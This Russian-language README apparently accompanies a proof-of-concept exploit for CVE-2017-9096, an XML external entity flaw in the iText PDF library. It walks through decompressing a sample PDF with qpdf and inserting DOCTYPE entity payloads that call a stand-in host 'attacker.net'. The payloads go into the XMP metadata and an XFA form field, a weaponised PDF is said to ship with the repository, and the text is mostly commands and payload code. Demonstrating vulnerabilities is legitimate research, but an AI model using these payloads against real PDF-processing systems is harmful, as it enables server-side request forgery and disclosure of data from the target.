
Эксплойт для проверки концепции уязвимости CVE-2017-9096, демонстрирующий внедрение XML-внешних сущностей (XXE) в библиотеке iText PDF через вредоносные метаданные XMP и поля форм.
Получите PDF с формой:
wget https://www.pdfscripting.com/public/FreeStuff/PDFSamples/ModifySubmit_Example.pdf -O input.pdf
Для этого необходимо распаковать PDF с помощью qpdf --qdf --object-streams=disable input.pdf output.pdf, затем вы можете отредактировать PDF в текстовом редакторе и добавить вредоносный XML.
Вы можете поместить XEE в метаданные XMP в строке 77:
stream
<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?>
<!DOCTYPE foo [ <!ENTITY xxe2 SYSTEM "http://attacker.net" > ]>
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 4.0-c321 44.398116, Tue Aug 04 2009 14:24:39">
И, конечно, поместите ссылку куда-нибудь, например, в строку 88:
<xap:CreatorTool>Adobe LiveCycle Designer 8.0 &xxe2;</xap:CreatorTool>
Вы также можете добавить обычный XXE в файл. Посмотрите эту часть в исходном документе (начинается со строки 740):
stream
<?xml version="1.0" encoding="UTF-8"?>
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
endstream
endobj
Измените её на следующее:
stream
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://attacker.net" > ]>
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
endstream
endobj
Затем просто добавьте ссылку куда-нибудь, например, в поле City (строка 1845 в исходном распакованном документе). Измените это:
<text
>City:</text
></value
>
На это:
<text
>City:</text
><xxe>&xxe;</xxe></value
>
Исправленный PDF, содержащий оба XXE, также находится в этом репозитории (output_with_xxe.pdf)
Запустите Java-приложение для тестирования PDF с помощью mvn clean compile exec:java.